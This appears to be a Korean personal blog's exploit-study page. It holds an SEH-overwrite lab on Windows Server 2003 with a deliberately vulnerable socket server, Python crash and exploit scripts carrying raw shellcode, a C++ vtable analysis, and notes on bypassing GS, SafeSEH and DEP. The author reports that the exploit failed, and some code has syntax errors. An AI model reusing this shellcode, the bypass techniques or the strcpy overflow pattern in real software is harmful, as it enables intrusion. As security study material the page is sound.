Be myself :: Be myself

달력

52024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

SEH overwrite 실습

Exploit 2014. 7. 16. 23:59

윈도우 서버 2003 R2버전에서 테스트 했다. 비주얼 스튜디오 2008으로 GS설정을 일단 끄고 컴파일 해보았다. 코드는 다음과 같다.

// vulnerable server.cpp : Defines the entry point for the console application.// 
#include "stdafx.h"
#include "winsock.h"
#include "windows.h"
//load windows socket
#pragma comment(lib, "wsock32.lib")
 
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
 
void pr( char *str)
{
char buf[500]=" ";
strcpy(buf,str);
}
void sError(char *str)
{
printf("Error %s",str);
WSACleanup();
}
 
int _tmain(int argc, _TCHAR* argv[])
{
WORD sockVersion;
WSADATA wsaData;
 
int rVal;
char Message[5000]=" ";
char buf[2000]=" ";
 
u_short LocalPort;
LocalPort = 200;
 
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
 
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
 
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
 
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
 
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
 
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
 
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 ) 
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
 
//Pass the data received to the function pr
pr(Message);
 
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
 
WSACleanup();
 
return SS_OK;
}

Project->property에서 창을 띄우고 다음과 같이 설정한다.

코드를 보면 알겠지만, pr함수가 취약해서 오버플로가 일어난다. Buf를 500개 이상 주면 공격 가능하다.

다음과 같이 파이썬 코드를 짜서 서버를 터뜨려 보자 J ^^

import	socket

HOST ='192.168.110.142' PORT =200 junk ="A"*1000 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print [+]sock setting done" s.connect((HOST,PORT)) print "[+]sock connect done"

												

s.sendall(junk) print "[+]payload attack! " s.close()

GS를 꺼두었기 때문에 스택쿠키가 없어 다음과 같이 eip가 변경된다.

그럼, GS를 키고 컴파일 해보면 어떻게 될까?

필자의 경우 그냥 꺼진다. 스택쿠키를 확인하는 절차가 있어서 그렇다.

그렇다면 스택쿠키를 우회하는 방법은 무엇일까? 앞선 글에서도 설명 했는데, 예외처리 코드를 이용한다. 즉, SEH overwrite 한다. 다음과 같은 코드를 예제로 삼겠다.

#include "tchar.h"

#include "stdio.h" #include "windows.h" #include "stdio.h"   void GetInput(char* str, char* out) {    char buffer[500];     try     { strcpy(buffer,str);      strcpy(out,buffer); printf("Input received : %s\n",buffer);     }     catch (char* strErr)     {         printf("No valid input received ! \n");         printf("Exception : %s\n",strErr);     } }   int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; }

간단하다, GetInput함수에서 buffer에 strcpy하는 부분이 있는데 여기서 오버플로우가 터진다.

일단 GS와 RTC없이 컴파일해 windbg로 600개의 인자를 주고 실행 해 보자.

Eip의 위치까지 가기 전에 예외가 발생하게 되고, 핸들러 부분이 A의 값으로 바뀌었다. 즉, SEH 오버라이트 공격이 가능하다.

이번엔 GS를 키고 컴파일 한 후 A를 600개로 인자로 주고 실행해 보자.

마찬가지로 SEH가 바뀌었다.

여기서 SafeSEH옵션을 주고 컴파일 해서 SafeSEH와 스택쿠키를 우회하는 법을 알아 보자. 근데, windows server 2003 sp2 버전부터 SEH를 보호하는 기법이 업데이트 되었다. 로드된 모듈과 SafeSEH로 컴파일된 모듈, 또 스택을 가리키는 포인터는 SEH핸들러로 올 수 없다는 것이다. 따라서 핸들러로 pop pop ret의 명령어 주소를 가진 모듈을 찾기가 힘들기 때문에, 해법으로 CALL [ebp+30h], jmp [ebp+30h], call [esp+8h], jmp [esp+8h]등이 온다. 근데 아직까지 이해하지 못한 점은 Esp+8h는 원래 예외핸들러의 인자 값으로 next seh를 담은 구조체가 넘어가기 때문에 그렇다고 쳐도, [ebp+30h]는 어째서 가능한지 모르겠다. 물론 Olly로 확인했을 때, 정확하게 다음 next_seh를 가리키지만.. 암튼, 우린 call [ebp+30h]하는 부분을 찾아 셸코드를 작성한다.

0x280b0b에 관련 명령어가 있다. 이걸 이용해 쉘코드를 짜는데, 쉘은 seh가 등록된 스택보다 낮은 주소값에 넣는다. 왜냐하면 높은 주소값에 넣으면, 오버플로우로 인해 쉘이 망가질 위험이 있어서 이다. 자 다음과 같이 코드를 작성한다. 일단 nseh오프셋 값을 찾는 작업을 밟는 것이다.

import os
import struct												
import sys
junk = "A"*508
nseh ="\xcc\xcc\xcc\xcc"													
seh = "AAAA"													
e = os.system('windbg'+' '+'C:\hack\seh.exe'+' '+junk+nseh+seh)

실행 시키면, 다음과 같은 결과가 나온다.

(정확히 입력됬다.)

자 그럼 다음과 같이 익스플로잇을 짜고 실행시킨다.

import os

import struct nop = "\x90"*25 shell = "\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" +"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" +"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" +"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" +"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" +"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" +"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" +"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" +"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" +"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" +"\xb9\x48\x57\x7a"

junk = "\x90"*(508-len(shell+nop)-5) jmp = "\xe9\x70\xfe\xff\xff" //jmp -400byte nseh = "\xeb\xf9\xff\xff" //jmp -7byte seh = "\x0b\x0b\x28" e = os.system('C:\hack\seh.exe'+nop+shell+junk+jmp+nseh+seh)

그럼 다음과 같이 떠야되는데… 안된다..

몇 시간을 삽질 했지만.. 도저히 이유를 모르겠다. 아마 windows server 2003 한글버전으로 테스트 해서 그런 것 같긴 하다. Windbg로 확인해 본 결과 0x00280b0b로 eip가 바뀌질 않는다. 하.. 이유를 모르겠다. 누가 설명 좀 해주세요 ㅠㅠ

'Exploit' 카테고리의 다른 글

RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
Posted by flack3r
|

C++에서 VTable

Exploit 2014. 7. 12. 00:29

1 c++ 가상함수

IE취약점을 분석하다(use after free) vtable에 관한 지식이 없어 찾다 보니, C++에서의 가상함수 개념과 비슷하여 알아볼 필요가 있을 것 같았다. 따라서 C++은 어떻게 어셈블리로 표현되는지 간단한 코드를 통해 알아 보겠다. 본 포스팅은 <리버스 엔지니어링 바이블>이라는 책의 예제를 사용하였다.

가상함수란, 상속된 객체의 함수가 있으면서 없는듯하게 행동하는 함수이다. 다시 말하면 A를 상속하는 B라는 클래스가 있고, 똑 같은 test()함수를 가지고 있다. 이 때, A클래스에서 test()함수가 가상함수로 선언되어 있다면, A객체포인터로 B객체를 가리키고 있고, test()함수를 호출한다면 원래 A의 test함수가 호출되어야 하지만, 가상함수로 선언되어 있어 B의 test함수가 호출되는 원리이다. 말로 하면 끝도 없이 어려우니 관련 문서나 책을 참고하기 바란다.

또 클래스에서 함수에 대해 더 설명하자면, 멤버 변수는 객체 내에 존재하지만 멤버 함수는 메모리의 한 공간에 존재하면서 모든 객체가 공유하는 형태이다.

컴파일러는 가상함수를 포함하는 클래스에 대해서, 가상함수 테이블(VTable)을 만들어 준다. 따라서 하나 이상의 가상 함수를 멤버로 지니는 클래서의 객체에는 VTable을 위한 포인터가 멤버로 추가된다.

이건 추측인데 다음과 같은 결론을 내렸다.(아는 사람이 있으면 좀 알려주시길 ㅠㅠ) 아래와 같은 코드가 있다고 해보자.

#include<iostream>
using std::endl;
using std::cout;

class
A
{
public:
    int a;
    int b;
    virtual void fct1(){ cout<<"fct1..."<<endl; }
    virtual void fct2(){ cout<<"fct2..."<<endl; }
};

class
B : public A
{
    int c;
    int d;
public:
    virtual void fct1(){ cout<<"fct1 over..."<<endl; }
    void fct3(){ cout<<"fct3..."<<endl; }
};

int
main()
{
    A* aaa = new B();
    aaa ->fct1();
 
    B* bbb = new B();
    bbb ->fct1();
    return 0;
}

이 때, A* aaa = new B(); 부분의 의미는 곧 A객체를 만들고, VTable에서 겹치는 함수 부분만(오버라이딩 된 부분) VTable에 함수 주소값을 넣어라. 라는 뜻인 것 같다.

 

2 c++ 코드 분석

직접 어셈블리어로 분석 해 보자.

기본 코드는 다음과 같다.

#include "windows.h"										

#include "stdio.h" #include "tchar.h" class Employee {     public :         int number;         char name[128];         long pay;         void ShowData();         void Test(); }; void Employee::ShowData() {    printf("number: %d\n", number);    printf("name: %s\n", name);    printf("pay: %d\n", pay);      Test();    return; }   void Employee::Test() {     printf("Test fuction\n");     return; }   //Employee kang; int main(int argc, char* argv[]) {     Employee kang;     printf("size: %X\n", sizeof(Employee));          kang.number = 0x1111;     _tcscpy(kang.name, _T("강병탁"));     kang.pay =0x100;     kang.ShowData();     return 0; }

아래는 위 코드를 컴파일 하고 IDA로 열어본 화면이다.

여기서 ecx가 클래스 멤버의 제일 첫 주소를 나타내고, 이 주소 값을 기준으로 클래스 멤버에 접근한다. Main 부분을 확인해 보면 확실해 진다.

결론은 Ebp-88부분부터 ebp-4까지 Employee클래스의 멤버 변수들의 공간이었다. 그리고 이 멤버 변수에 접근을 ecx(C++에서의 this포인터)가 담당하였다.

이제 가상함수가 선언된 클래스를 분석해 보자. VTable은 생성자가 실행될 때, 설정된다.

따라서 그림상으로 나타내면 다음과 같다.

'Exploit' 카테고리의 다른 글

유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
Posted by flack3r
|

여러 보호기법

Exploit 2014. 7. 11. 20:21

여러가지 보호 기법

윈도우에서 익스플로잇을 막기 위한 여러 가지 보호 기법들이 존재한다. 그 중 SafeSEH와 DEP, stack cookie 에 관해 살펴보고 관련 우회기법을 다룬다.

1 스택쿠키 (/GS보호)
리눅스에서 스택가드(canary)의 개념과 일맥상통한다. [스택쿠키][ebp][eip]이런 식으로 존재하며 함수가 리턴하기 전에 스택쿠키가 변조되었는지 확인하는 함수를 호출한다.
GS보호의 다른 기능은 지역변수들을 재배치한다. 그래서 오버플로가 발생하더라도 지역변수들은 변조되지 않는다.

우회방법: 카나리가 변조되어서 프로그램이 종료되지 않는가? 그렇다면 스택쿠키의 값을 알아내어 그 값을 바뀌게만 하지 않으면 된다. 또는 예외핸들러 구조체를 제어할 수 있다면 SEH오버플로를 일으켜서 스택쿠키가 변조되었는지 프로그램이 확인하기 전에 예외를 일으키면, 우회가 가능하다. 이 부분을 막기 위해 SafeSEH나 DEP같은 보호기법들이 나오게 된다.

2. SafeSEH
SafeSEH옵션으로 컴파일된 모듈은 불행히도 SEH핸들러로 사용이 불가능하다. 다만, SEH핸들러 부분의 주소값이 스택영역에 있지 않고, SafeSEH옵션이 안된 모듈을 사용한다면 가젯으로 이용되기에 충분하다. 즉, 외부(OS)DLL을 이용하는 것이다.

3. SEHOP
좀더 찾아 볼 것.

4. DEP
스택영역에서 실행권한을 없애서 쉘코드를 스택에서 직접 실행할 수가 없게 되었다. 따라서 로드된 모듈들의 가젯들을 모아 쉘코드를 실행시키는 효과를 내서 우회한다.

'Exploit' 카테고리의 다른 글

SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
Posted by flack3r
|